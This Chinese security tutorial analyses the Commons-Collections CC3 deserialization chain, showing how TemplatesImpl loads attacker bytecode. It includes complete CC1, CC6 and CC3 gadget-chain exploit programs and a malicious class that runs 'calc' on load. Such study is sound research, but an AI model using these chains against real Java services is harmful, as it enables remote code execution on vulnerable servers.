0x01 前言
关于 CC1,6 和 CC3 的区别,之前分析的链子是通过 Runtime.exec()
,进行命令执行的,那么其实很多时候服务器的代码当中的黑名单会选择禁用 Runtime
,所以 CC3 采用了动态类加载的方式来自动执行恶意类代码。
0x02 环境搭建
- jdk8u65
- Commons-Collections 3.2.1
0x03 TemplatesImpl 分析
defineClass()
之前的动态类加载的学习中,我们了解到了利用 ClassLoader#defineClass 直接加载字节码的手段。
该方法调用流程如下:
首先是 loadClass()
,它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()
然后是 findClass()
,它会根据名称或位置加载 .class 字节码, 然后使用 defineClass()
(通常交给子类实现)
class NetworkClassLoader extends ClassLoader {
String host;
int port;
public Class findClass(String name) {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}
private byte[] loadClassData(String name) {
// load the class data from the connection
}
}
// 子类的实现方式
最后是 defineClass()
,它会处理前面传入的字节码,将其处理成真正的 Java 类,但此时只是加载类,并不执行类。若需要执行,则需要先进行 newInstance()
的实例化。
寻找 public 方法
由于此时 defineClass()
方法作用域为 protected
,为了方便我们之后调用,我们去寻找一个 public
的方法
这里找到 TemplatesImpl
类中有调用 defineClass
方法,这里没有说明具体的作用域,也就是默认的 default
,也就是说自己的类里面可以调用,我们继续查找
找到了 defineTransletClasses()
,不过是私有的接着找
这里有 3 处,我们都看一下
getTransletClasses()
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
// 直接返回
getTransletIndex()
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
// 虽然是 public 但是也是直接返回
getTransletInstance()
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里发现进行了实例化,走完这个函数那么就能动态执行代码,不过它是私有的,所以继续找。
成功找到 public 方法,进行下一步
0x04 TemplatesImpl 利用
前面已经找到 newTransformer()
方法可以加载字节码并进行实例化,那么我们一步一步满足条件编写 Poc
在此之前,先写一个恶意类等会拿过去加载
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
首先跟进 newTransformer()
的 getTransletInstance()
方法
进入 defineTransletClasses()
方法看一下
_bytecodes
的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes
作为传递进 defineClass
方法的值是一个一维数组。而这个一维数组里面我们需要存放之前构造的恶意字节码。
_tfactory
不为空,但是是 private transient
不能被序列化,所以我们看看 readObject()
方法怎么写的
_tfactory = new TransformerFactoryImpl();
不过没有成功弹出计算器,我们调试一下
这里检查父类的 name 是否等于常量 ABSTRACT_TRANSLET
,那么我们修改我们的恶意字节码即可
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Exp:
package com.hsad;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ti = templates.getClass();
Field nameField = ti.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
byte[][] codes = {code};
Field bytesField = ti.getDeclaredField("_bytecodes");
bytesField.setAccessible(true);
bytesField.set(templates, codes);
Field tfactoryField = ti.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
0x05 CC1 TemplatesImpl 实现方法
先写出通过 Transformer
调用的代码
package com.hsad.exploit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class cc1Templatesimpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ti = templates.getClass();
Field nameField = ti.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
byte[][] codes = {code};
Field bytesField = ti.getDeclaredField("_bytecodes");
bytesField.setAccessible(true);
bytesField.set(templates, codes);
Field tfactoryField = ti.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
// 通过 CC1Transformer 调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",
null,
null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("aa");
// chainedTransformer.transform 方法需要传入一个对象
}
}
接下来带着 CC1 之前的链子触发
package com.hsad.exploit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc1Templatesimpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ti = templates.getClass();
Field nameField = ti.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
byte[][] codes = {code};
Field bytesField = ti.getDeclaredField("_bytecodes");
bytesField.setAccessible(true);
bytesField.set(templates, codes);
Field tfactoryField = ti.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
// 通过 CC1Transformer 调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",
null,
null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("aa");
Map<String, String> map = new HashMap<String, String>();
map.put("a", "b");
Map<String, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// lazyMap.get(Runtime.class);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
0x05 CC6 TemplatesImpl 实现方法
package com.hsad.exploit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc6Templatesimpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ti = templates.getClass();
Field nameField = ti.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
byte[][] codes = {code};
Field bytesField = ti.getDeclaredField("_bytecodes");
bytesField.setAccessible(true);
bytesField.set(templates, codes);
Field tfactoryField = ti.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",
null,
null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
// lazyMap.get("");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "bbb");
map.remove("aaa");
Class lazyClass = LazyMap.class;
Field factoryField = lazyClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
0x06 CC3 攻击链分析
根据之前分析方法,find usages 看谁调用了 newTransformer()
这里我们使用 TrAXFilter
类,理由如下:
Process
这个在_main
里面,作为一般对象使用,所以不用它。getOutProperties
,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用。TransformerFactoryImpl
不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参。
而我们看到 TrAXFilter
类,即使没有序列化接口,但是他的构造函数恰好是使用了 newTransformer()
之前在 CC1 CC6 中是使用了 InvokerTransformer
,那么在 CC3 中使用的是 InstantiateTransformer
恰好他的 transform()
方法是获取类的构造器并调用构造函数。
那么到了这一步就和之前的链子差不多了
0x07 CC3 Exploit
package com.hsad.exploit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
byte[][] codes = {code};
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("aa");
Map<String, String> map = new HashMap<String, String>();
map.put("a", "b");
Map<String, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// lazyMap.get(Runtime.class);
Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
// serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}